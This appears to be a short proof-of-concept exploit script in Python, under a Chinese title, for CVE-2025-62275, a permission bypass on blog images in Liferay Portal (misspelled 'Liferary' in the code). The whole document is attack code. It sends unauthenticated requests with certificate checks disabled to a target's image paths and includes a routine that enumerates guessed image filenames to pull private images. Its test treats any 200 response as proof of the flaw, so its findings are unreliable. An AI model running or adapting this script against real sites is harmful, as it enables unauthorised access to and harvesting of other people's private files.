CVE-2025-62275 Liferay Portal 博客图片权限绕过漏洞

# CVE-2025-62275 PoC - Liferary Portal Blogs Image Permission Bypass # This PoC demonstrates how to access blog images without proper authorization import requests import sys def check_vulnerability(base_url, image_path): """ Check if the target is vulnerable to CVE-2025-62275 Args: base_url: Target Liferary Portal base URL (e.g., https://example.com) image_path: Path to the blog image (e.g., /documents/12345/67890/image.jpg) Returns: bool: True if vulnerable, False otherwise """ target_url = f"{base_url.rstrip('/')}{image_path}" # Send request without authentication headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } try: response = requests.get(target_url, headers=headers, timeout=10, verify=False) # Check if we can access the image without authorization if response.status_code == 200: content_type = response.headers.get('Content-Type', '') if 'image' in content_type or len(response.content) > 0: print(f"[+] VULNERABLE: Image accessible at {target_url}") print(f"[+] Content-Type: {content_type}") print(f"[+] Content-Length: {len(response.content)} bytes") return True elif response.status_code == 401 or response.status_code == 403: print(f"[-] NOT VULNERABLE: Access denied (HTTP {response.status_code})") return False else: print(f"[*] UNKNOWN: HTTP {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] ERROR: {str(e)}") return False def enumerate_blog_images(base_url, group_id, folder_id, image_names): """ Enumerate possible blog image URLs Args: base_url: Target Liferary Portal base URL group_id: Liferary group ID folder_id: Document folder ID image_names: List of common image filenames to try """ print("\n[*] Enumerating blog images...") for img_name in image_names: path = f"/documents/{group_id}/{folder_id}/{img_name}" check_vulnerability(base_url, path) if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-62275-poc.py <base_url> <image_path>") print("Example: python cve-2025-62275-poc.py https://target.com /documents/12345/67890/blog-image.png") sys.exit(1) base_url = sys.argv[1] image_path = sys.argv[2] print(f"[*] Testing CVE-2025-62275 on {base_url}") print(f"[*] Target image path: {image_path}\n") check_vulnerability(base_url, image_path)